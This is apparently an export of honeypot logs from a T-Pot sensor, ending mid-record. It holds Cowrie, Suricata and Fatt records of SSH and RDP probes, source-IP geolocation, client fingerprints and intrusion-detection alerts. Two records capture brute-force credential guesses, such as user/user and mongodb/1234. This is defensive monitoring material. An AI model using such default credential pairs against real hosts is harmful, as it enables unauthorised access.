29540	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:26:54.792555+03	2021-09-20 14:30:04.255553+03	{"_id": "Pwb1AnwBvYTbRNuEfTYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "1408bad53d51", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:26:54.792555Z", "@timestamp": "2021-09-20T11:26:54.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
29541	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:27:06.615715+03	2021-09-20 14:30:04.257554+03	{"_id": "bwb1AnwBvYTbRNuErTbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42294, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1020, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1140109538386233, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 52603, "timestamp": "2021-09-20T11:27:06.615715Z", "@timestamp": "2021-09-20T11:27:06.615Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29542	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:27:08.540463+03	2021-09-20 14:30:04.258553+03	{"_id": "cQb1AnwBvYTbRNuEsTas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 733054013022553, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51932, "dest_port": 22, "timestamp": "2021-09-20T11:27:08.540463Z", "@timestamp": "2021-09-20T11:27:08.540Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29543	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:27:08.546491+03	2021-09-20 14:30:04.259553+03	{"_id": "cgb1AnwBvYTbRNuEsjbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51932, "dest_port": 22, "timestamp": "2021-09-20T11:27:08.546491", "@timestamp": "2021-09-20T11:27:08.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29544	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:27:08.378714+03	2021-09-20 14:30:04.261523+03	{"_id": "egb1AnwBvYTbRNuEszbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d688d37d7c5c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:08.378714Z", "@timestamp": "2021-09-20T11:27:08.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29545	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:27:11.389125+03	2021-09-20 14:30:04.262526+03	{"_id": "hwb1AnwBvYTbRNuEvTZn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:10.787371+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1458001543037867, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52540, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:11.389125Z", "@timestamp": "2021-09-20T11:27:11.389Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
29547	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:08.540627+03	2021-09-20 14:30:04.265524+03	{"_id": "cwb1AnwBvYTbRNuEsjbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51932, "timestamp": "2021-09-20T11:27:08.540627", "@timestamp": "2021-09-20T11:27:08.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29548	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:27:08.371995+03	2021-09-20 14:30:04.266554+03	{"_id": "ewb1AnwBvYTbRNuEszbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:51932 (192.168.176.2:22) [session: d688d37d7c5c]", "session": "d688d37d7c5c", "@version": "1", "protocol": "ssh", "src_port": 51932, "dest_port": 22, "timestamp": "2021-09-20T11:27:08.371995Z", "@timestamp": "2021-09-20T11:27:08.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29549	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:27:08.547118+03	2021-09-20 14:30:04.268553+03	{"_id": "fAb1AnwBvYTbRNuEszbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d688d37d7c5c", "@version": "1", "timestamp": "2021-09-20T11:27:08.547118Z", "@timestamp": "2021-09-20T11:27:08.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29550	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:27:09.273707+03	2021-09-20 14:30:04.269553+03	{"_id": "fQb1AnwBvYTbRNuEtzbH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [mongodb/1234] failed", "session": "d688d37d7c5c", "@version": "1", "password": "1234", "username": "mongodb", "timestamp": "2021-09-20T11:27:09.273707Z", "@timestamp": "2021-09-20T11:27:09.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29551	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:27:11.028414+03	2021-09-20 14:30:04.270551+03	{"_id": "gwb1AnwBvYTbRNuEuzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:52540 (192.168.176.2:22) [session: 6930d4fb91c8]", "session": "6930d4fb91c8", "@version": "1", "protocol": "ssh", "src_port": 52540, "dest_port": 22, "timestamp": "2021-09-20T11:27:11.028414Z", "@timestamp": "2021-09-20T11:27:11.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29552	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:27:10.447514+03	2021-09-20 14:30:04.271553+03	{"_id": "hAb1AnwBvYTbRNuEuzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d688d37d7c5c", "@version": "1", "duration": 2.0727791786193848, "timestamp": "2021-09-20T11:27:10.447514Z", "@timestamp": "2021-09-20T11:27:10.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29553	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:27:11.389286+03	2021-09-20 14:30:04.272554+03	{"_id": "hgb1AnwBvYTbRNuEvTZm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 1458001543037867, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52540, "dest_port": 22, "timestamp": "2021-09-20T11:27:11.389286Z", "@timestamp": "2021-09-20T11:27:11.389Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29554	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:27:04.620475+03	2021-09-20 14:30:04.274555+03	{"_id": "UQb1AnwBvYTbRNuEozYx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 56913, "dest_port": 3389, "timestamp": "2021-09-20T11:27:04.620475", "@timestamp": "2021-09-20T11:27:04.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29555	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:27:04.620475+03	2021-09-20 14:30:04.275555+03	{"_id": "WAb1AnwBvYTbRNuEpTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1141400175926153, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56913, "dest_port": 3389, "timestamp": "2021-09-20T11:27:04.620475Z", "@timestamp": "2021-09-20T11:27:04.620Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29556	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:27:04.968733+03	2021-09-20 14:30:04.276555+03	{"_id": "Wwb1AnwBvYTbRNuEpTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1141400175926153, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56913, "dest_port": 3389, "timestamp": "2021-09-20T11:27:04.968733Z", "@timestamp": "2021-09-20T11:27:04.968Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29557	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:27:06.236617+03	2021-09-20 14:30:04.278525+03	{"_id": "Xgb1AnwBvYTbRNuEqTbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 53893, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1020, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 17585475852392, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49172, "timestamp": "2021-09-20T11:27:06.236617Z", "@timestamp": "2021-09-20T11:27:06.236Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29558	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:06.285564+03	2021-09-20 14:30:04.279555+03	{"_id": "YAb1AnwBvYTbRNuEqzYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35226, "dest_port": 443, "timestamp": "2021-09-20T11:27:06.285564", "@timestamp": "2021-09-20T11:27:06.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 